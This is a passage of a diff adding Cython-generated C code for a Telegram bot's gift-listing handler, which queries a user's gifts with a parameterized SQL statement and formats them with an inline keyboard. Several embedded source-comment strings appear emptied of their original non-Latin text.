0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 42, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 42, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("my_gifts_handler", 1, 2, 2, 1); __PYX_ERR(0, 42, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "my_gifts_handler") < 0)) __PYX_ERR(0, 42, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_session = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("my_gifts_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 42, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.gift.my_gifts_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_4gift_3my_gifts_handler(__pyx_self, __pyx_v_callback_query, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_3my_gifts_handler(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("my_gifts_handler", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 42, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_5generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_my_gifts_handler, __pyx_n_s_my_gifts_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.my_gifts_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_t_7; + int __pyx_t_8; + Py_ssize_t __pyx_t_9; + PyObject *(*__pyx_t_10)(PyObject *); + Py_ssize_t __pyx_t_11; + Py_UCS4 __pyx_t_12; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("my_gifts_handler", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L6_resume_from_await; + case 3: goto __pyx_L10_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 42, __pyx_L1_error) + + /* "handlers/payments/gift.py":46 + * """ ' '. .""" + * + * user_tg_id = callback_query.from_user.id # <<<<<<<<<<<<<< + * + * gifts = await session.fetch( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_user_tg_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":48 + * user_tg_id = callback_query.from_user.id + * + * gifts = await session.fetch( # <<<<<<<<<<<<<< + * "SELECT gift_id, selected_months, is_used, expiry_time, recipient_tg_id FROM gifts WHERE sender_tg_id = $1", + * user_tg_id, + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_fetch); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/gift.py":50 + * gifts = await session.fetch( + * "SELECT gift_id, selected_months, is_used, expiry_time, recipient_tg_id FROM gifts WHERE sender_tg_id = $1", + * user_tg_id, # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_kp_u_SELECT_gift_id_selected_months_i, __pyx_cur_scope->__pyx_v_user_tg_id}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 48, __pyx_L1_error) + __pyx_t_2 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_2); + } else { + __pyx_t_2 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_gifts = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":53 + * ) + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gifts")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":54 + * + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gifts")) # <<<<<<<<<<<<<< + * + * if not gifts: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__6) < 0) __PYX_ERR(0, 54, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_gifts) < 0) __PYX_ERR(0, 54, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_6}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 54, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":56 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gifts")) + * + * if not gifts: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) + * return + */ + __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_gifts); if (unlikely((__pyx_t_7 < 0))) __PYX_ERR(0, 56, __pyx_L1_error) + __pyx_t_8 = (!__pyx_t_7); + if (__pyx_t_8) { + + /* "handlers/payments/gift.py":57 + * + * if not gifts: + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__8, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 57, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 57, __pyx_L1_error) + } + } + + /* "handlers/payments/gift.py":58 + * if not gifts: + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) + * return # <<<<<<<<<<<<<< + * + * gifts_text = " :\n\n" + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/gift.py":56 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="gifts")) + * + * if not gifts: # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) + * return + */ + } + + /* "handlers/payments/gift.py":60 + * return + * + * gifts_text = " :\n\n" # <<<<<<<<<<<<<< + * for gift in gifts: + * months = gift['selected_months'] + */ + __Pyx_INCREF(__pyx_kp_u_b_b_2); + __Pyx_GIVEREF(__pyx_kp_u_b_b_2); + __pyx_cur_scope->__pyx_v_gifts_text = __pyx_kp_u_b_b_2; + + /* "handlers/payments/gift.py":61 + * + * gifts_text = " :\n\n" + * for gift in gifts: # <<<<<<<<<<<<<< + * months = gift['selected_months'] + * is_used = "" if gift['is_used'] else "" + */ + if (likely(PyList_CheckExact(__pyx_cur_scope->__pyx_v_gifts)) || PyTuple_CheckExact(__pyx_cur_scope->__pyx_v_gifts)) { + __pyx_t_6 = __pyx_cur_scope->__pyx_v_gifts; __Pyx_INCREF(__pyx_t_6); + __pyx_t_9 = 0; + __pyx_t_10 = NULL; + } else { + __pyx_t_9 = -1; __pyx_t_6 = PyObject_GetIter(__pyx_cur_scope->__pyx_v_gifts); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_10 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 61, __pyx_L1_error) + } + for (;;) { + if (likely(!__pyx_t_10)) { + if (likely(PyList_CheckExact(__pyx_t_6))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_6); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 61, __pyx_L1_error) + #endif + if (__pyx_t_9 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_2 = PyList_GET_ITEM(__pyx_t_6, __pyx_t_9); __Pyx_INCREF(__pyx_t_2); __pyx_t_9++; if (unlikely((0 < 0))) __PYX_ERR(0, 61, __pyx_L1_error) + #else + __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_6, __pyx_t_9); __pyx_t_9++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_6); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 61, __pyx_L1_error) + #endif + if (__pyx_t_9 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_2 = PyTuple_GET_ITEM(__pyx_t_6, __pyx_t_9); __Pyx_INCREF(__pyx_t_2); __pyx_t_9++; if (unlikely((0 < 0))) __PYX_ERR(0, 61, __pyx_L1_error) + #else + __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_6, __pyx_t_9); __pyx_t_9++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + #endif + } + } else { + __pyx_t_2 = __pyx_t_10(__pyx_t_6); + if (unlikely(!__pyx_t_2)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 61, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_2); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_gift); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_gift, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":62 + * gifts_text = " :\n\n" + * for gift in gifts: + * months = gift['selected_months'] # <<<<<<<<<<<<<< + * is_used = "" if gift['is_used'] else "" + * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " + */ + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_months); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_months, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":63 + * for gift in gifts: + * months = gift['selected_months'] + * is_used = "" if gift['is_used'] else "" # <<<<<<<<<<<<<< + * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " + * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_is_used); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_8) { + __Pyx_INCREF(__pyx_n_u__9); + __pyx_t_2 = __pyx_n_u__9; + } else { + __Pyx_INCREF(__pyx_n_u__10); + __pyx_t_2 = __pyx_n_u__10; + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_is_used); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_is_used, ((PyObject*)__pyx_t_2)); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":64 + * months = gift['selected_months'] + * is_used = "" if gift['is_used'] else "" + * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " # <<<<<<<<<<<<<< + * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") + * + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_recipient_tg_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_8) { + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_recipient_tg_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_t_1; + __pyx_t_1 = 0; + } else { + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_2 = __pyx_kp_u__11; + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_recipient); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_recipient, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":65 + * is_used = "" if gift['is_used'] else "" + * recipient = gift['recipient_tg_id'] if gift['recipient_tg_id'] else " " + * expiry_time = gift['expiry_time'].strftime("%d-%m-%Y %H:%M") # <<<<<<<<<<<<<< + * + * gifts_text += ( + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_expiry_time); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_strftime); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_kp_u_d_m_Y_H_M}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_expiry_time); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":68 + * + * gifts_text += ( + * f" {months} {'' if months == 1 else '' if 2 <= months <= 4 else ''}\n" # <<<<<<<<<<<<<< + * f" : {expiry_time}\n" + * f": {recipient}\n" + */ + __pyx_t_2 = PyTuple_New(11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 68, __pyx_L1_error) + 